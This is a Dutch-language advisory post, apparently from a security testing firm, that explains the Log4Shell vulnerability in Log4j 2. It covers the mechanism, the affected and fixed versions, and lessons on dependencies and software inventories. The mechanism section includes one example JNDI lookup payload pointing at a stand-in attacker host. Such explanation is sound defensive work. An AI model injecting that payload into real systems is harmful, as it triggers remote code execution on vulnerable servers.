CVE-2021-44228: Log4Shell, nog steeds het begrijpen waard
July 30, 2026
Log4Shell is oud nieuws, maar het is het duidelijkste voorbeeld van waarom "we gebruiken een vertrouwde library" niet hetzelfde is als "we zijn veilig". We houden het in ons advies-archief omdat bijna elk SaaS-team dat we testen nog steeds een afhankelijkheidsverhaal heeft dat erop rijmt.
Wat het is
CVE-2021-44228 is een kwetsbaarheid voor remote code execution in Apache Log4j 2, een van de meest gebruikte logging-libraries in het Java-ecosysteem. Het Apache Logging Services-project geeft het CVSS 10.0, de maximale score, omdat het triviaal te misbruiken is, geen authenticatie vereist, en de aanvaller volledige code-uitvoering geeft.
Het mechanisme is bijna absurd eenvoudig. Log4j ondersteunde een lookup-functie die, wanneer een string als ${jndi:ldap://attacker.example/x} werd gelogd, die JNDI-referentie daadwerkelijk resolveerde, contact opnam met de server van de aanvaller, en laadde en uitvoerde wat het terugkreeg. Dus elke gebruikersinvoer die uiteindelijk gelogd werd, een gebruikersnaam, een User-Agent-header, een chatbericht, werd een manier om code op de server uit te voeren.
Wie er getroffen wordt
Volgens het Apache-advies is het kwetsbare bereik Log4j 2.0-beta9 tot en met 2.14.1. Het werd opgelost in drie release-lijnen, afhankelijk van je Java-versie:
2.15.0 voor Java 8 en later
2.12.2 voor Java 7
2.3.1 voor Java 6
Waarom het in 2026 nog steeds telt
Niemand levert Log4j 2.14 nog met opzet. De reden dat Log4Shell relevant blijft, is de les eronder:
Je aanvalsoppervlak omvat alles wat je importeert. Een kwetsbaarheid in een transitieve afhankelijkheid vijf niveaus diep is nog steeds jouw kwetsbaarheid. Je kunt geen code beveiligen waarvan je niet weet dat je hem draait.
Logging is gebruikersinvoer. Alles wat een logregel bereikt, is data die een aanvaller kan beheersen. Hetzelfde geldt voor alles wat een template-engine, een deserializer of een eval bereikt.
Een software bill of materials maakt van een paniekaanval een query. Teams die "waar draaien we Log4j, en welke versie?" in minuten konden beantwoorden, patchten in uren. Teams die dat niet konden, brachten het weekend grep-end door.
Wat je moet doen
Als je wilt weten hoe een fout als deze in jouw product zou uitpakken, is dat precies waar een pentest voor is: iemand probeert de invoerpaden die een aanvaller zou proberen, inclusief die waar je afhankelijkheidsscanner niet over kan redeneren. Combineer dat met een onderhouden afhankelijkheidsinventaris en een echt patchritme, en de volgende Log4Shell wordt een dinsdag, geen crisis.
Dit advies is een educatieve uiteenzetting van een publieke kwetsbaarheid, geen bevinding tegen een specifieke klant.